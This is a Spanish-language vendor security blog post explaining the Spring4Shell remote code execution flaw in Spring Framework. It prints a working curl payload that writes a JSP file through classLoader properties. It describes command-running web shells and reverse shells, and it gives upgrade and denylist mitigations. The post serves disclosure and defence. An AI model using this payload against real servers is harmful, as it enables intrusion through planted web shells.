Skip to main content

Spring4Shell: explicación de la vulnerabilidad de ejecución remota de código de día cero en Spring Framework

Escrito por
blog feature code vulnerability warning

1 de abril de 2022

0 minutos de lectura

El 30 de marzo de 2022, se encontró una vulnerabilidad crítica de ejecución remota de código (RCE) en Spring Framework. Más específicamente, forma parte del paquete spring-beans, una dependencia transitiva tanto en spring-webmvc como en spring-webflux. Esta vulnerabilidad es otro ejemplo de por qué es importante proteger la cadena de suministro de software de código abierto.

Recursos de seguridad como Lunasec, Rapid7 y Praetorian confirmaron que la vulnerabilidad es real y, mientras tanto, Spring ya lanzó una nueva versión que mitiga este problema, por lo que recomendamos actualizar. Aunque Spring4Shell no parece tener el mismo impacto que la reciente vulnerabilidad Log4Shell, todas las organizaciones que usan Spring Framework deberían evaluarla y priorizarla. En esta publicación, exploraremos cómo funciona la RCE.

Explicación de Spring4Shell

Si tenemos un controlador con una asignación de solicitud cargada en la memoria, ya somos vulnerables a este problema. A continuación, puedes ver nuestro GreetingController con un PostMapping a /greeting. Cuando llamamos a nuestra aplicación, por ejemplo, en Tomcat en http://mydomain/myapp/greeting, intenta transformar la entrada en un POJO (Plain Old Java Object), que en nuestro caso es el objeto Greeting.

@Controller
public class GreetingController {

  @PostMapping("/greeting")
  public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
     model.addAttribute("greeting", greeting);
     return "result";
  }

}

Sin embargo, como Spring usa serialización internamente para asignar estos valores al objeto Java, también es posible establecer otros valores. Después de explorar un poco, descubrimos que se pueden establecer propiedades de una clase. Esto es interesante si ejecutas la aplicación en Tomcat.

Para mostrarlo en acción, podemos usar el siguiente curl para crear un archivo rce.jsp mediante algunas propiedades de registro de la clase.

curl -X POST \
 -H "pre:<%" \
 -H "post:;%>" \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}i out.println("HACKED" + (2 + 5))%{post}i' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/myapp' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
 -F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
 http://mydomain/myapp/greeting

Todo lo que se establece en el patrón termina como contenido del archivo. Con un poco de ingenio para escapar caracteres y usando encabezados, nuestro equipo pudo crear un archivo JSP en el servidor Tomcat con el sencillo cuerpo <% out.println(“HACKED”); %>. Este archivo ahora estaba disponible en /myapp/rce.jsp.

Navegador web que muestra una página de localhost con el encabezado grande «HACKEADO».

La POC completa creada por Kirill Efimov y Aviad Hahami del equipo de investigación de seguridad de Snyk está disponible en GitHub

Si podemos evaluar un out.println sencillo, también podemos crear archivos JSP con comandos de terminal que generen acceso a un shell inverso usando Runtime.exec(). Como alternativa, podemos crear una práctica interfaz de web shell usando las capacidades de JSP.

Un exploit similar, mencionado en muchos otros blogs, consiste en crear un JSP capaz de ejecutar un comando. Este script de Python crea por ti la solicitud adecuada con los encabezados necesarios. Después de ejecutar este script en nuestra aplicación de demostración, podemos ejecutar el comando whoami de esta manera: [http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami](http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=whoami).

Navegador que muestra una URL localhost con cmd=whoami y una página con código Java que ejecuta el comando y devuelve “root”.

¿Quiénes son vulnerables?

Como la situación evoluciona rápidamente, solo podemos decir lo que sabemos hasta ahora.

En las versiones afectadas de spring-beans, parece que esta vulnerabilidad solo funciona si usas JDK 9 o una versión posterior. La introducción de JDK 9 permitió superar en gran medida un problema antiguo, CVE-2010-1622.

Como muchos desarrolladores de Java ya migraron a versiones posteriores a Java 8 y Spring Framework se usa muchísimo, creemos que muchas aplicaciones Java podrían ser vulnerables a este problema.

Hay varias formas de resolver este problema. Los responsables de Spring lanzaron una nueva versión del framework. Por eso, la mejor recomendación es actualizar a la versión 5.3.18 o 5.2.20 de Spring Framework. Según nuestro equipo de seguridad, solo tienes que actualizar el paquete `spring-bean` a la versión más reciente, pero tiene más sentido actualizar todo el framework. Si usas Spring Boot, las versiones 2.6.6 o 2.5.12 incluyen la versión actualizada de Spring Framework.

Si no puedes actualizar a una versión más reciente de Spring, quizá sea viable bajar la versión de Java a Java 8.

Otra opción es crear un InitBinder en el controlador o como un ControllerAdvice independiente, como se muestra a continuación.

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {

  @InitBinder
  public void setAllowedFields(WebDataBinder dataBinder) {
    String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
    dataBinder.setDisallowedFields(denylist);
  }
}

Ten en cuenta que esta no es una solución definitiva. Crear una lista de bloqueo como esta no se considera una buena práctica de seguridad, pero podría darte algo de tiempo. Los responsables de Spring Framework sugieren crear un RequestMappingHandlerAdapter para actualizar el WebDataBinder al final, después de toda la inicialización, en su publicación del blog.

Dependencia de frameworks y bibliotecas

Spring4Shell vuelve a demostrar que dependemos mucho de los frameworks y las bibliotecas de código abierto. Sin embargo, cuando aparece una vulnerabilidad de seguridad como esta o la reciente RCE de Log4Shell, es importante estar al tanto para poder mitigarla de inmediato.

Snyk puede ayudarte a mantenerte al tanto mediante el análisis periódico de tus aplicaciones. Snyk te avisa a ti y a tu equipo cuando detecta nuevas vulnerabilidades y les ofrece los siguientes pasos recomendados para mantener seguras sus aplicaciones.

Por último, vulnerabilidades de día cero como esta nos recuerdan por qué es importante mantener las bibliotecas actualizadas. Si estás al día, puedes aplicar actualizaciones, volver a compilar y lanzar una nueva versión más fácilmente y con rapidez.

Empieza con los desafíos de Capture the Flag

Aprende a resolver desafíos de captura la bandera con nuestro taller virtual introductorio a pedido.

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

blog feature ai violet
Blog

VulnBump: ¿Pueden los agentes de IA corregir dependencias vulnerables sin romper la compilación?

VulnBump prueba agentes de IA en 307 actualizaciones reales de dependencias. Una corrección cuenta solo si elimina la vulnerabilidad y mantiene en verde la compilación y las pruebas.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.